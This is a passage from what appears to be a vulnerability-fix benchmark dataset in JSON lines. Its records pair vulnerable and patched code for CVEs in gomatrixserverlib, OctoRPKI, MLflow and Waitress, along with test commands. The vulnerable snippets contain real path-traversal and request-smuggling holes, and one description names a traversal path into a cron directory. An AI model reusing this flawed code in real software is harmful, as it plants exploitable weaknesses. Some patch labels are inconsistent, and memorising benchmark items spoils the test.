&c); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\t} else {\n\t\t// We can't extract the JSON directly to the powerLevelContent because we\n\t\t// need to convert string values to int values.\n\t\tvar content struct {\n\t\t\tInviteLevel        levelJSONValue            `json:\"invite\"`\n\t\t\tBanLevel           levelJSONValue            `json:\"ban\"`\n\t\t\tKickLevel          levelJSONValue            `json:\"kick\"`\n\t\t\tRedactLevel        levelJSONValue            `json:\"redact\"`\n\t\t\tUserLevels         map[string]levelJSONValue `json:\"users\"`\n\t\t\tUsersDefaultLevel  levelJSONValue            `json:\"users_default\"`\n\t\t\tEventLevels        map[string]levelJSONValue `json:\"events\"`\n\t\t\tStateDefaultLevel  levelJSONValue            `json:\"state_default\"`\n\t\t\tEventDefaultLevel  levelJSONValue            `json:\"events_default\"`\n\t\t\tNotificationLevels map[string]levelJSONValue `json:\"notifications\"`\n\t\t}\n\t\tif err = json.Unmarshal(event.Content(), &content); err != nil {\n\t\t\terr = errorf(\"unparsable power_levels event content: %s\", err.Error())\n\t\t\treturn\n\t\t}\n\n\t\t// Update the levels with the values that are present in the event content.\n\t\tcontent.InviteLevel.assignIfExists(&c.Invite)\n\t\tcontent.BanLevel.assignIfExists(&c.Ban)\n\t\tcontent.KickLevel.assignIfExists(&c.Kick)\n\t\tcontent.RedactLevel.assignIfExists(&c.Redact)\n\t\tcontent.UsersDefaultLevel.assignIfExists(&c.UsersDefault)\n\t\tcontent.StateDefaultLevel.assignIfExists(&c.StateDefault)\n\t\tcontent.EventDefaultLevel.assignIfExists(&c.EventsDefault)\n\n\t\tfor k, v := range content.UserLevels {\n\t\t\tif c.Users == nil {\n\t\t\t\tc.Users = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Users[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.EventLevels {\n\t\t\tif c.Events == nil {\n\t\t\t\tc.Events = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Events[k] = v.value\n\t\t}\n\n\t\tfor k, v := range content.NotificationLevels {\n\t\t\tif c.Notifications == nil {\n\t\t\t\tc.Notifications = make(map[string]int64)\n\t\t\t}\n\t\t\tc.Notifications[k] = v.value\n\t\t}\n\t}\n\n\treturn\n}"}], "vul_patch": "--- a/eventcontent.go\n+++ b/eventcontent.go\n@@ -24,7 +24,7 @@\n \t\t\tUsersDefaultLevel  levelJSONValue            `json:\"users_default\"`\n \t\t\tEventLevels        map[string]levelJSONValue `json:\"events\"`\n \t\t\tStateDefaultLevel  levelJSONValue            `json:\"state_default\"`\n-\t\t\tEventDefaultLevel  levelJSONValue            `json:\"event_default\"`\n+\t\t\tEventDefaultLevel  levelJSONValue            `json:\"events_default\"`\n \t\t\tNotificationLevels map[string]levelJSONValue `json:\"notifications\"`\n \t\t}\n \t\tif err = json.Unmarshal(event.Content(), &content); err != nil {\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-36009:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/gomatrixserverlib\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestNegativePowerLevels$ github.com/matrix-org/gomatrixserverlib\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-36009:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/gomatrixserverlib\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test -timeout 30s -run '^(TestAuthEvents|TestStateNeededForInvite|TestStateNeededForCreate|TestAllowedNoFederation|TestAllowedWithPowerLevels|TestStateNeededForMessage|TestDemoteUserDefaultPowerLevelBelowOwn|TestAllowedInviteFrom3PID|TestPromoteUserDefaultLevelAboveOwn|TestAllowedEmptyRoom|TestRedactAllowed|TestStateNeededForInvite3PID|TestStateNeededForAlias|TestAllowedFirstJoin|TestStateNeededForJoin|TestAllowedWithNoPowerLevels)$' github.com/matrix-org/gomatrixserverlib\n"}
{"cve_id": "CVE-2021-3907", "cve_description": "OctoRPKI does not escape a URI with a filename containing \"..\", this allows a repository to create a file, (ex. rsync://example.org/repo/../../etc/cron.daily/evil.roa), which would then be written to disk outside the base cache folder. This could allow for remote code execution on the host machine OctoRPKI is running on.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/cloudflare/cfrpki", "patch_url": ["https://github.com/cloudflare/cfrpki/commit/a053a808feeb3115c76b6cc263ee55598ce6e8cd", "https://github.com/cloudflare/cfrpki/commit/eb9cc4db7b7b79e44f56dfaa959fccdfb2af8284"], "programing_language": "Go", "vul_func": [{"id": "vul_go_215_1", "commit": "69bf56a", "file_path": "cmd/octorpki/octorpki.go", "start_line": 304, "end_line": 324, "snippet": "func (s *state) WriteRsyncFileOnDisk(path string, data []byte, withdraw bool) error {\n\tfPath, err := syncpki.GetDownloadPath(path, true)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\terr = os.MkdirAll(filepath.Join(s.Basepath, fPath), os.ModePerm)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfPath, err = syncpki.GetDownloadPath(path, false)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tf, err := os.Create(filepath.Join(s.Basepath, fPath))\n\tif err != nil {\n\t\treturn err\n\t}\n\tf.Write(data)\n\tf.Close()\n\treturn nil\n}"}, {"id": "vul_go_215_2", "commit": "69bf56a", "file_path": "validator/pki/pki.go", "start_line": 752, "end_line": 765, "snippet": "func ExtractPathManifest(mft *librpki.RPKIManifest) []*PKIFile {\n\tfileList := make([]*PKIFile, 0)\n\tfor _, file := range mft.Content.FileList {\n\t\tcurFile := file.Name\n\t\tpath := string(curFile)\n\t\titem := PKIFile{\n\t\t\tType:         DetermineType(path),\n\t\t\tPath:         path,\n\t\t\tManifestHash: file.GetHash(),\n\t\t}\n\t\tfileList = append(fileList, &item)\n\t}\n\treturn fileList\n}"}], "fix_func": [{"id": "fix_go_215_1", "commit": "a053a808feeb3115c76b6cc263ee55598ce6e8cd", "file_path": "cmd/octorpki/octorpki.go", "start_line": 304, "end_line": 327, "snippet": "func (s *state) WriteRsyncFileOnDisk(path string, data []byte, withdraw bool) error {\n\tfPath, err := syncpki.GetDownloadPath(path, true)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\terr = os.MkdirAll(filepath.Join(s.Basepath, fPath), os.ModePerm)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tfPath, err = syncpki.GetDownloadPath(path, false)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\t// GHSA-cqh2-vc2f-q4fh: Prevent parent directory writes outside of Basepath\n\tfPath = strings.ReplaceAll(fPath, \"../\", \"\")\n\n\tf, err := os.Create(filepath.Join(s.Basepath, fPath))\n\tif err != nil {\n\t\treturn err\n\t}\n\tf.Write(data)\n\tf.Close()\n\treturn nil\n}"}, {"id": "fix_go_215_2", "commit": "a053a808feeb3115c76b6cc263ee55598ce6e8cd", "file_path": "validator/pki/pki.go", "start_line": 754, "end_line": 770, "snippet": "func ExtractPathManifest(mft *librpki.RPKIManifest) []*PKIFile {\n\tfileList := make([]*PKIFile, 0)\n\tfor _, file := range mft.Content.FileList {\n\t\tcurFile := file.Name\n\t\tpath := string(curFile)\n\t\t// GHSA-cqh2-vc2f-q4fh: Prevent file path references to parent\n\t\t// directories.\n\t\tpath = strings.ReplaceAll(path, \"../\", \"\")\n\t\titem := PKIFile{\n\t\t\tType:         DetermineType(path),\n\t\t\tPath:         path,\n\t\t\tManifestHash: file.GetHash(),\n\t\t}\n\t\tfileList = append(fileList, &item)\n\t}\n\treturn fileList\n}"}], "vul_patch": "--- a/cmd/octorpki/octorpki.go\n+++ b/cmd/octorpki/octorpki.go\n@@ -11,6 +11,9 @@\n \tif err != nil {\n \t\tlog.Fatal(err)\n \t}\n+\t// GHSA-cqh2-vc2f-q4fh: Prevent parent directory writes outside of Basepath\n+\tfPath = strings.ReplaceAll(fPath, \"../\", \"\")\n+\n \tf, err := os.Create(filepath.Join(s.Basepath, fPath))\n \tif err != nil {\n \t\treturn err\n\n--- a/validator/pki/pki.go\n+++ b/validator/pki/pki.go\n@@ -3,6 +3,9 @@\n \tfor _, file := range mft.Content.FileList {\n \t\tcurFile := file.Name\n \t\tpath := string(curFile)\n+\t\t// GHSA-cqh2-vc2f-q4fh: Prevent file path references to parent\n+\t\t// directories.\n+\t\tpath = strings.ReplaceAll(path, \"../\", \"\")\n \t\titem := PKIFile{\n \t\t\tType:         DetermineType(path),\n \t\t\tPath:         path,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-6831", "cve_description": "Path Traversal: '\\..\\filename' in GitHub repository mlflow/mlflow prior to 2.9.2.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/mlflow/mlflow", "patch_url": ["https://github.com/mlflow/mlflow/commit/1da75dfcecd4d169e34809ade55748384e8af6c1"], "programing_language": "Python", "vul_func": [{"id": "vul_py_31_1", "commit": "9612ef0", "file_path": "mlflow/utils/uri.py", "start_line": 422, "end_line": 446, "snippet": "def validate_path_is_safe(path):\n    \"\"\"\n    Validates that the specified path is safe to join with a trusted prefix. This is a security\n    measure to prevent path traversal attacks.\n    A valid path should:\n        not contain separators other than '/'\n        not contain .. to navigate to parent dir in path\n        not be an absolute path\n    \"\"\"\n    from mlflow.utils.file_utils import local_file_uri_to_path\n\n    exc = MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)\n    if any((s in path) for s in (\"#\", \"%23\")):\n        raise exc\n\n    if is_file_uri(path):\n        path = local_file_uri_to_path(path)\n    if (\n        any((s in path) for s in _OS_ALT_SEPS)\n        or \"..\" in path.split(\"/\")\n        or pathlib.PureWindowsPath(path).is_absolute()\n        or pathlib.PurePosixPath(path).is_absolute()\n        or (is_windows() and len(path) >= 2 and path[1] == \":\")\n    ):\n        raise exc"}], "fix_func": [{"id": "fix_py_31_1", "commit": "1da75df", "file_path": "mlflow/utils/uri.py", "start_line": 422, "end_line": 449, "snippet": "def validate_path_is_safe(path):\n    \"\"\"\n    Validates that the specified path is safe to join with a trusted prefix. This is a security\n    measure to prevent path traversal attacks.\n    A valid path should:\n        not contain separators other than '/'\n        not contain .. to navigate to parent dir in path\n        not be an absolute path\n    \"\"\"\n    from mlflow.utils.file_utils import local_file_uri_to_path\n\n    # We must decode URL before validating it\n    path = urllib.parse.unquote(path)\n\n    exc = MlflowException(\"Invalid path\", error_code=INVALID_PARAMETER_VALUE)\n    if any((s in path) for s in (\"#\", \"%23\")):\n        raise exc\n\n    if is_file_uri(path):\n        path = local_file_uri_to_path(path)\n    if (\n        any((s in path) for s in _OS_ALT_SEPS)\n        or \"..\" in path.split(\"/\")\n        or pathlib.PureWindowsPath(path).is_absolute()\n        or pathlib.PurePosixPath(path).is_absolute()\n        or (is_windows() and len(path) >= 2 and path[1] == \":\")\n    ):\n        raise exc"}], "vul_patch": "--- a/mlflow/utils/uri.py\n+++ b/mlflow/utils/uri.py\n@@ -9,7 +9,10 @@\n     \"\"\"\n     from mlflow.utils.file_utils import local_file_uri_to_path\n \n-    exc = MlflowException(f\"Invalid path: {path}\", error_code=INVALID_PARAMETER_VALUE)\n+    # We must decode URL before validating it\n+    path = urllib.parse.unquote(path)\n+\n+    exc = MlflowException(\"Invalid path\", error_code=INVALID_PARAMETER_VALUE)\n     if any((s in path) for s in (\"#\", \"%23\")):\n         raise exc\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-6831:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/mlflow\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-6831/bin/python -m pytest tests/server/test_handlers.py::test_delete_artifact_mlflow_artifacts_throws_for_malicious_path tests/store/artifact/test_http_artifact_repo.py::test_list_artifacts_malicious_path tests/utils/test_uri.py::test_validate_path_is_safe_bad -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-6831:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/mlflow\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-6831/bin/python -m pytest tests/server/test_handlers.py tests/store/artifact/test_http_artifact_repo.py tests/utils/test_uri.py -k \"not test_mlflow_server_with_installed_plugin and not test_list_artifacts_malicious_path\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2019-16789", "cve_description": "In Waitress through version 1.4.0, if a proxy server is used in front of waitress, an invalid request may be sent by an attacker that bypasses the front-end and is parsed differently by waitress leading to a potential for HTTP request smuggling. Specially crafted requests containing special whitespace characters in the Transfer-Encoding header would get parsed by Waitress as being a chunked request, but a front-end server would use the Content-Length instead as the Transfer-Encoding header is considered invalid due to containing invalid characters. If a front-end server does HTTP pipelining to a backend Waitress server this could lead to HTTP request splitting which may lead to potential cache poisoning or unexpected information disclosure. This issue is fixed in Waitress 1.4.1 through more strict HTTP field validation.", "cwe_info": {"CWE-444": {"name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')", "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."}}, "repo": "https://github.com/Pylons/waitress", "patch_url": ["https://github.com/Pylons/waitress/commit/11d9e138125ad46e951027184b13242a3c1de017"], "programing_language": "Python", "vul_func": [{"id": "vul_py_72_1", "commit": "f11093a", "file_path": "waitress/parser.py", "start_line": 190, "end_line": 297, "snippet": "    def parse_header(self, header_plus):\n        \"\"\"\n        Parses the header_plus block of text (the headers plus the\n        first line of the request).\n        \"\"\"\n        index = header_plus.find(b\"\\r\\n\")\n        if index >= 0:\n            first_line = header_plus[:index].rstrip()\n            header = header_plus[index + 2 :]\n        else:\n            raise ParsingError(\"HTTP message header invalid\")\n\n        if b\"\\r\" in first_line or b\"\\n\" in first_line:\n            raise ParsingError(\"Bare CR or LF found in HTTP message\")\n\n        self.first_line = first_line  # for testing\n\n        lines = get_header_lines(header)\n\n        headers = self.headers\n        for line in lines:\n            index = line.find(b\":\")\n            if index > 0:\n                key = line[:index]\n\n                if key != key.strip():\n                    raise ParsingError(\"Invalid whitespace after field-name\")\n\n                if b\"_\" in key:\n                    continue\n                value = line[index + 1 :].strip()\n                key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n                # If a header already exists, we append subsequent values\n                # seperated by a comma. Applications already need to handle\n                # the comma seperated values, as HTTP front ends might do\n                # the concatenation for you (behavior specified in RFC2616).\n                try:\n                    headers[key1] += tostr(b\", \" + value)\n                except KeyError:\n                    headers[key1] = tostr(value)\n            # else there's garbage in the headers?\n\n        # command, uri, version will be bytes\n        command, uri, version = crack_first_line(first_line)\n        version = tostr(version)\n        command = tostr(command)\n        self.command = command\n        self.version = version\n        (\n            self.proxy_scheme,\n            self.proxy_netloc,\n            self.path,\n            self.query,\n            self.fragment,\n        ) = split_uri(uri)\n        self.url_scheme = self.adj.url_scheme\n        connection = headers.get(\"CONNECTION\", \"\")\n\n        if version == \"1.0\":\n            if connection.lower() != \"keep-alive\":\n                self.connection_close = True\n\n        if version == \"1.1\":\n            # since the server buffers data from chunked transfers and clients\n            # never need to deal with chunked requests, downstream clients\n            # should not see the HTTP_TRANSFER_ENCODING header; we pop it\n            # here\n            te = headers.pop(\"TRANSFER_ENCODING\", \"\")\n\n            encodings = [encoding.strip().lower() for encoding in te.split(\",\") if encoding]\n\n            for encoding in encodings:\n                # Out of the transfer-codings listed in\n                # https://tools.ietf.org/html/rfc7230#section-4 we only support\n                # chunked at this time.\n\n                # Note: the identity transfer-coding was removed in RFC7230:\n                # https://tools.ietf.org/html/rfc7230#appendix-A.2 and is thus\n                # not supported\n                if encoding not in {\"chunked\"}:\n                    raise TransferEncodingNotImplemented(\n                        \"Transfer-Encoding requested is not supported.\"\n                    )\n\n            if encodings and encodings[-1] == \"chunked\":\n                self.chunked = True\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = ChunkedReceiver(buf)\n            elif encodings:  # pragma: nocover\n                raise TransferEncodingNotImplemented(\n                    \"Transfer-Encoding requested is not supported.\"\n                )\n\n            expect = headers.get(\"EXPECT\", \"\").lower()\n            self.expect_continue = expect == \"100-continue\"\n            if connection.lower() == \"close\":\n                self.connection_close = True\n\n        if not self.chunked:\n            try:\n                cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n            except ValueError:\n                raise ParsingError(\"Content-Length is invalid\")\n\n            self.content_length = cl\n            if cl > 0:\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = FixedStreamReceiver(cl, buf)"}, {"id": "vul_py_72_2", "commit": "f11093a", "file_path": "waitress/parser.py", "start_line": 348, "end_line": 365, "snippet": "def get_header_lines(header):\n    \"\"\"\n    Splits the header into lines, putting multi-line headers together.\n    \"\"\"\n    r = []\n    lines = header.split(b\"\\r\\n\")\n    for line in lines:\n        if b\"\\r\" in line or b\"\\n\" in line:\n            raise ParsingError('Bare CR or LF found in header line \"%s\"' % tostr(line))\n\n        if line.startswith((b\" \", b\"\\t\")):\n            if not r:\n                # https://corte.si/posts/code/pathod/pythonservers/index.html\n                raise ParsingError('Malformed header line \"%s\"' % tostr(line))\n            r[-1] += line\n        else:\n            r.append(line)\n    return r"}, {"id": "vul_py_72_3", "commit": "f11093a", "file_path": "waitress/utilities.py", "start_line": 211, "end_line": 218, "snippet": "vchar_re = \"\\x21-\\x7e\"\n\n# RFC 7230 Section 3.2.6 \"Field Value Components\":\n# quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n# qdtext        = HTAB / SP /%x21 / %x23-5B / %x5D-7E / obs-text\n# obs-text      = %x80-FF\n# quoted-pair   = \"\\\" ( HTAB / SP / VCHAR / obs-text )\nobs_text_re = \"\\x80-\\xff\""}], "fix_func": [{"id": "fix_py_72_1", "commit": "11d9e138125ad46e951027184b13242a3c1de017", "file_path": "waitress/parser.py", "start_line": 190, "end_line": 298, "snippet": "    def parse_header(self, header_plus):\n        \"\"\"\n        Parses the header_plus block of text (the headers plus the\n        first line of the request).\n        \"\"\"\n        index = header_plus.find(b\"\\r\\n\")\n        if index >= 0:\n            first_line = header_plus[:index].rstrip()\n            header = header_plus[index + 2 :]\n        else:\n            raise ParsingError(\"HTTP message header invalid\")\n\n        if b\"\\r\" in first_line or b\"\\n\" in first_line:\n            raise ParsingError(\"Bare CR or LF found in HTTP message\")\n\n        self.first_line = first_line  # for testing\n\n        lines = get_header_lines(header)\n\n        headers = self.headers\n        for line in lines:\n            header = HEADER_FIELD.match(line)\n\n            if not header:\n                raise ParsingError(\"Invalid header\")\n\n            key, value = header.group('name', 'value')\n\n            if b\"_\" in key:\n                # TODO(xistence): Should we drop this request instead?\n                continue\n\n            value = value.strip()\n            key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n            # If a header already exists, we append subsequent values\n            # seperated by a comma. Applications already need to handle\n            # the comma seperated values, as HTTP front ends might do\n            # the concatenation for you (behavior specified in RFC2616).\n            try:\n                headers[key1] += tostr(b\", \" + value)\n            except KeyError:\n                headers[key1] = tostr(value)\n\n        # command, uri, version will be bytes\n        command, uri, version = crack_first_line(first_line)\n        version = tostr(version)\n        command = tostr(command)\n        self.command = command\n        self.version = version\n        (\n            self.proxy_scheme,\n            self.proxy_netloc,\n            self.path,\n            self.query,\n            self.fragment,\n        ) = split_uri(uri)\n        self.url_scheme = self.adj.url_scheme\n        connection = headers.get(\"CONNECTION\", \"\")\n\n        if version == \"1.0\":\n            if connection.lower() != \"keep-alive\":\n                self.connection_close = True\n\n        if version == \"1.1\":\n            # since the server buffers data from chunked transfers and clients\n            # never need to deal with chunked requests, downstream clients\n            # should not see the HTTP_TRANSFER_ENCODING header; we pop it\n            # here\n            te = headers.pop(\"TRANSFER_ENCODING\", \"\")\n\n            encodings = [encoding.strip().lower() for encoding in te.split(\",\") if encoding]\n\n            for encoding in encodings:\n                # Out of the transfer-codings listed in\n                # https://tools.ietf.org/html/rfc7230#section-4 we only support\n                # chunked at this time.\n\n                # Note: the identity transfer-coding was removed in RFC7230:\n                # https://tools.ietf.org/html/rfc7230#appendix-A.2 and is thus\n                # not supported\n                if encoding not in {\"chunked\"}:\n                    raise TransferEncodingNotImplemented(\n                        \"Transfer-Encoding requested is not supported.\"\n                    )\n\n            if encodings and encodings[-1] == \"chunked\":\n                self.chunked = True\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = ChunkedReceiver(buf)\n            elif encodings:  # pragma: nocover\n                raise TransferEncodingNotImplemented(\n                    \"Transfer-Encoding requested is not supported.\"\n                )\n\n            expect = headers.get(\"EXPECT\", \"\").lower()\n            self.expect_continue = expect == \"100-continue\"\n            if connection.lower() == \"close\":\n                self.connection_close = True\n\n        if not self.chunked:\n            try:\n                cl = int(headers.get(\"CONTENT_LENGTH\", 0))\n            except ValueError:\n                raise ParsingError(\"Content-Length is invalid\")\n\n            self.content_length = cl\n            if cl > 0:\n                buf = OverflowableBuffer(self.adj.inbuf_overflow)\n                self.body_rcv = FixedStreamReceiver(cl, buf)"}, {"id": "fix_py_72_2", "commit": "11d9e138125ad46e951027184b13242a3c1de017", "file_path": "waitress/parser.py", "start_line": 349, "end_line": 376, "snippet": "def get_header_lines(header):\n    \"\"\"\n    Splits the header into lines, putting multi-line headers together.\n    \"\"\"\n    r = []\n    lines = header.split(b\"\\r\\n\")\n    for line in lines:\n        if not line:\n            continue\n\n        if b\"\\r\" in line or b\"\\n\" in line:\n            raise ParsingError('Bare CR or LF found in header line \"%s\"' % tostr(line))\n\n        if line.startswith((b\" \", b\"\\t\")):\n            if not r:\n                # https://corte.si/posts/code/pathod/pythonservers/index.html\n                raise ParsingError('Malformed header line \"%s\"' % tostr(line))\n            r[-1] += line\n        else:\n            r.append(line)\n    return r\n\n\nfirst_line_re = re.compile(\n    b\"([^ ]+) \"\n    b\"((?:[^ :?#]+://[^ ?#/]*(?:[0-9]{1,5})?)?[^ ]+)\"\n    b\"(( HTTP/([0-9.]+))$|$)\"\n)"}, {"id": "fix_py_72_3", "commit": "11d9e138125ad46e951027184b13242a3c1de017", "file_path": "waitress/utilities.py", "start_line": 222, "end_line": 229, "snippet": "vchar_re = VCHAR\n\n# RFC 7230 Section 3.2.6 \"Field Value Components\":\n# quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n# qdtext        = HTAB / SP /%x21 / %x23-5B / %x5D-7E / obs-text\n# obs-text      = %x80-FF\n# quoted-pair   = \"\\\" ( HTAB / SP / VCHAR / obs-text )\nobs_text_re = OBS_TEXT"}, {"id": "fix_py_72_4", "commit": "11d9e138125ad46e951027184b13242a3c1de017", "file_path": "waitress/rfc7230.py", "start_line": 1, "end_line": 44, "snippet": "\"\"\"\nThis contains a bunch of RFC7230 definitions and regular expressions that are\nneeded to properly parse HTTP messages.\n\"\"\"\n\nimport re\n\nfrom .compat import tobytes\n\nWS = \"[ \\t]\"\nOWS = WS + \"{0,}?\"\nRWS = WS + \"{1,}?\"\nBWS = OWS\n\n# RFC 7230 Section 3.2.6 \"Field Value Components\":\n# tchar          = \"!\" / \"#\" / \"$\" / \"%\" / \"&\" / \"'\" / \"*\"\n#                / \"+\" / \"-\" / \".\" / \"^\" / \"_\" / \"`\" / \"|\" / \"~\"\n#                / DIGIT / ALPHA\n# obs-text      = %x80-FF\nTCHAR = r\"[!#$%&'*+\\-.^_`|~0-9A-Za-z]\"\nOBS_TEXT = r\"\\x80-\\xff\"\n\nTOKEN = TCHAR + \"{1,}\"\n\n# RFC 5234 Appendix B.1 \"Core Rules\":\n# VCHAR         =  %x21-7E\n#                  ; visible (printing) characters\nVCHAR = r\"\\x21-\\x7e\"\n\n# header-field   = field-name \":\" OWS field-value OWS\n# field-name     = token\n# field-value    = *( field-content / obs-fold )\n# field-content  = field-vchar [ 1*( SP / HTAB ) field-vchar ]\n# field-vchar    = VCHAR / obs-text\n\nFIELD_VCHAR = \"[\" + VCHAR + OBS_TEXT + \"]\"\nFIELD_CONTENT = FIELD_VCHAR + \"(\" + RWS + FIELD_VCHAR + \"){0,}\"\nFIELD_VALUE = \"(\" + FIELD_CONTENT + \"){0,}\"\n\nHEADER_FIELD = re.compile(\n    tobytes(\n        \"^(?P<name>\" + TOKEN + \"):\" + OWS + \"(?P<value>\" + FIELD_VALUE + \")\" + OWS + \"$\"\n    )\n)"}], "vul_patch": "--- a/waitress/parser.py\n+++ b/waitress/parser.py\n@@ -19,26 +19,27 @@\n \n         headers = self.headers\n         for line in lines:\n-            index = line.find(b\":\")\n-            if index > 0:\n-                key = line[:index]\n+            header = HEADER_FIELD.match(line)\n \n-                if key != key.strip():\n-                    raise ParsingError(\"Invalid whitespace after field-name\")\n+            if not header:\n+                raise ParsingError(\"Invalid header\")\n \n-                if b\"_\" in key:\n-                    continue\n-                value = line[index + 1 :].strip()\n-                key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n-                # If a header already exists, we append subsequent values\n-                # seperated by a comma. Applications already need to handle\n-                # the comma seperated values, as HTTP front ends might do\n-                # the concatenation for you (behavior specified in RFC2616).\n-                try:\n-                    headers[key1] += tostr(b\", \" + value)\n-                except KeyError:\n-                    headers[key1] = tostr(value)\n-            # else there's garbage in the headers?\n+            key, value = header.group('name', 'value')\n+\n+            if b\"_\" in key:\n+                # TODO(xistence): Should we drop this request instead?\n+                continue\n+\n+            value = value.strip()\n+            key1 = tostr(key.upper().replace(b\"-\", b\"_\"))\n+            # If a header already exists, we append subsequent values\n+            # seperated by a comma. Applications already need to handle\n+            # the comma seperated values, as HTTP front ends might do\n+            # the concatenation for you (behavior specified in RFC2616).\n+            try:\n+                headers[key1] += tostr(b\", \" + value)\n+            except KeyError:\n+                headers[key1] = tostr(value)\n \n         # command, uri, version will be bytes\n         command, uri, version = crack_first_line(first_line)\n\n--- a/waitress/parser.py\n+++ b/waitress/parser.py\n@@ -5,6 +5,9 @@\n     r = []\n     lines = header.split(b\"\\r\\n\")\n     for line in lines:\n+        if not line:\n+            continue\n+\n         if b\"\\r\" in line or b\"\\n\" in line:\n             raise ParsingError('Bare CR or LF found in header line \"%s\"' % tostr(line))\n \n@@ -16,3 +19,10 @@\n         else:\n             r.append(line)\n     return r\n+\n+\n+first_line_re = re.compile(\n+    b\"([^ ]+) \"\n+    b\"((?:[^ :?#]+://[^ ?#/]*(?:[0-9]{1,5})?)?[^ ]+)\"\n+    b\"(( HTTP/([0-9.]+))$|$)\"\n+)\n\n--- a/waitress/utilities.py\n+++ b/waitress/utilities.py\n@@ -1,8 +1,8 @@\n-vchar_re = \"\\x21-\\x7e\"\n+vchar_re = VCHAR\n \n # RFC 7230 Section 3.2.6 \"Field Value Components\":\n # quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n # qdtext        = HTAB / SP /%x21 / %x23-5B / %x5D-7E / obs-text\n # obs-text      = %x80-FF\n # quoted-pair   = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n-obs_text_re = \"\\x80-\\xff\"\n+obs_text_re = OBS_TEXT\n\n--- /dev/null\n+++ b/waitress/utilities.py\n@@ -0,0 +1,44 @@\n+\"\"\"\n+This contains a bunch of RFC7230 definitions and regular expressions that are\n+needed to properly parse HTTP messages.\n+\"\"\"\n+\n+import re\n+\n+from .compat import tobytes\n+\n+WS = \"[ \\t]\"\n+OWS = WS + \"{0,}?\"\n+RWS = WS + \"{1,}?\"\n+BWS = OWS\n+\n+# RFC 7230 Section 3.2.6 \"Field Value Components\":\n+# tchar          = \"!\" / \"#\" / \"$\" / \"%\" / \"&\" / \"'\" / \"*\"\n+#                / \"+\" / \"-\" / \".\" / \"^\" / \"_\" / \"`\" / \"|\" / \"~\"\n+#                / DIGIT / ALPHA\n+# obs-text      = %x80-FF\n+TCHAR = r\"[!#$%&'*+\\-.^_`|~0-9A-Za-z]\"\n+OBS_TEXT = r\"\\x80-\\xff\"\n+\n+TOKEN = TCHAR + \"{1,}\"\n+\n+# RFC 5234 Appendix B.1 \"Core Rules\":\n+# VCHAR         =  %x21-7E\n+#                  ; visible (printing) characters\n+VCHAR = r\"\\x21-\\x7e\"\n+\n+# header-field   = field-name \":\" OWS field-value OWS\n+# field-name     = token\n+# field-value    = *( field-content / obs-fold )\n+# field-content  = field-vchar [ 1*( SP / HTAB ) field-vchar ]\n+# field-vchar    = VCHAR / obs-text\n+\n+FIELD_VCHAR = \"[\" + VCHAR + OBS_TEXT + \"]\"\n+FIELD_CONTENT = FIELD_VCHAR + \"(\" + RWS + FIELD_VCHAR + \"){0,}\"\n+FIELD_VALUE = \"(\" + FIELD_CONTENT + \"){0,}\"\n+\n+HEADER_FIELD = re.compile(\n+    tobytes(\n+        \"^(?P<name>\" 